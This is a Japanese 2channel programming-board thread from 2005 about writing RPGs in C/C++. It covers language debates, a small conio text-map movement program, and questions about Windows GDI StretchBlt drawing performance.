C/C++ という言語仕様にグラフィカルなものがないような言語に限定している というのがいいと思うんだけど。 言語仕様にGUIのAPIがあるような言語だとここでしばしば投稿されるような プログラムはお目にかかれなくなると思う。 あと、描画ルーチンの精査もやる気が失せなくない? 高速化する手法をあらゆる手段で悩んだりしなくなるよ。
今のところ、描画の高速化で頭を悩ませている人はいないような。 いっぱい投稿されたほうが、やる気はでるかも。
いまどきのマシンは高速だもん 簡単なゲームなら筋を間違えなければ満足のいくスピードが出る
前にあがったたGDI+のやつは、結局なんフレだったんかな。 ロープレぐらいならできそうな気はしたが。
C/C++言語でテキストRPGを作ってみるスレ とか言ってみるテスト・・・
テキストのほうが難しい件
テキストでやるならPerlかJavaScript使うぜ。 ごめん、後ろのは嘘。
907 :
デフォルトの名無しさん :2005/07/08(金) 07:53:56
テキストMMORPG?
908 :
デフォルトの名無しさん :2005/07/08(金) 09:29:22
------ここでPerlかPHPどっちがいいかという不毛な争い開始------
------ここでPerlかPHPどっちがいいかという不毛な争い終了------
ネイティブアプリならRubyかPythonでしょ PerlはGUIはともかくグラフィックがない PHPなんてexe作れるの?
処理系依存だけど、こういうのでMMOってのもアリなんでないの?可能性としてね。 これはbcc用だけど、gccのncursesでも出来る筈。 クライアントはテキストベースだしシンプルになりそうな分、 鯖の作を作りこみたくなりそう。クライアント変えればGUIにもなる悪寒。 #include <stdio.h> #include <string.h> #include <conio.h> #define MAP_WIDTH40 #define MAP_HEIGHT20 char map[MAP_HEIGHT][MAP_WIDTH]; int char_pos_x = 5, char_pos_y = 5; void print_map(void) {int i, j;clrscr();for (i = 0; i < MAP_HEIGHT; i++) {for (j = 0; j < MAP_WIDTH; j++) {if (i == char_pos_y && j == char_pos_x) {printf("@");} else {printf("%c", map[i][j]);}}printf("\n");}fflush(stdout);}int main(void){ memset(map, '.', sizeof(map));clrscr();for (;;) {int c;print_map(); c = getche(); if (c == 'q')break; if (c == '4')char_pos_x -= 1; if (c == '6')char_pos_x += 1; if (c == '8')char_pos_y -= 1; if (c == '2')char_pos_y += 1; }return 0;}
見た目はともかくゲームとして完成させるのが大変なわけで。 スクロールできたー、自由に移動できるようになったー、満足!(完)となりがち。 細かいことは後回しでいいから、とりあえず最後まで遊べるカタチにしようぜ。 格好はいいけど遊べないシロモノより、見た目はしょぼくてもゲームになってる方が ずっと重要。
>>860 です。
描画をダブルバッファにして、最後に::StretchBlt()で
拡大して表示するプログラムを作ってみたのですが、↓
::StretchBlt(hdc, 0, 0, 640, 640, hMemDC,
0, 0, 480, 480, SRCCOPY);
普通に::BitBlt()で描画するよりCPU使用率が跳ね上がってしまいます。。
(5〜15 が 60〜80 ぐらいに orz)
他に絵を拡大して表示する関数はあるんでしょうか?
どなたかよろしくお願いします m(__)m
自分が昔さんざん調べた限りでは中田。 ビデオカードがStretchBltに対応してないんじゃないかな。 いまどきそんなカード珍しい気がする。 UPしてくれればみんながベンチしてくれると思うよ。
>>914 拡大関数は無いんですか・・。
どうやらスクリーンの解像度を強制的に変更することはできるらしいんですが、
それはちょっとお行儀悪そうですもんね。
Upできるのは今無いので、明日にでも、できればあげてみまっす。
レスありがとうございました m(__)m
>>910 パイソン>>>>>>>>>>>>>>>>>>|超えられない|Ruby
しかし何故か日本じゃRubyのが知名度が高い政府の陰謀
>>916 すいません、私が雑魚すぎてわかりません (T_T)
普通に::LoadImagge()で読み込んで、
::BitBlt()で表示してると思います。
ビットマップのビット数とか指定した記憶がない orz
使ってるのはノートパソで、
CPUはceleron1.8で、GeForce440 Go てのがついてるみたいですが。。
>>918 24bitのビットマップを読み込んでるんなら、24ビットかな。
16とか32の方が速いかもしれない。
画面のグラフィックモードと合わせるかにもよる。
みんな!!忘れてないか? N 8 8 B A S I C と か
>>910 あれ?
Rubyってexe作れるのか。
924 :
デフォルトの名無しさん :2005/07/08(金) 22:30:35
H・S・P!H・S・P!
>>923 ネイティブコードを生成するんじゃなくて、Rubyの実行ファイルとRubyスクリプトをexe内に含むのね。
サンクス。
>>921 ActiveBasic っつう選択肢はドーデスカ?
927 :
デフォルトの名無しさん :2005/07/08(金) 23:55:00
クソスレになってきたな
他の言語の話題が出た途端に廃れたな。 他の言語スレは勝手に立ててくれ
413 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/02(木) 19:36:03
>>405 >初心者スレ
か?ほんとうにそうか?
言語は極論すれば何でもRPG作れるけどスレの通りいくならCかC++。
だが、言語の本とするとC/C++ではグラフィック関連は望めない
(OSに依存することでC/C++では規格化されていないから)。
Javaならそのあたりがばっちり言語仕様に含まれているし、
Window表示や、グラフィック関連を扱っている書籍も多い。
Javaにしろ。Java。
438 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/03(金) 09:39:09
そういうことを言わずに済むJavaを薦める。
439 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/03(金) 09:51:38
Javaも2DAPIが豊富に取り揃えてある気がするんだが
867 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 00:20:51
でも、Javaでダブルバッファリングで綺麗に動かせるんだから、
directx使うまでもなく、なんか方法がありそうなもんだけど。
870 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 00:34:13
JavaもDirectX使ってるんだよな
877 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 20:21:06
Javaのスレも立ててよ
C/C++とJavaで競争しよーぜ
競わせると沸き立つか、或いは荒らしが増えてクソスレになるだけか。 どちらにしろ現状よりはよさそうだな。
>>929 自作自演だと思ってるのか知らんけど、870だけ俺だよ。
C# + SDL最強
3DRPGツクールとして活躍しそうなDarkBASICはいかがですか?
882あたりから腐ってきたな
荒れそうなネタは放置でヨロ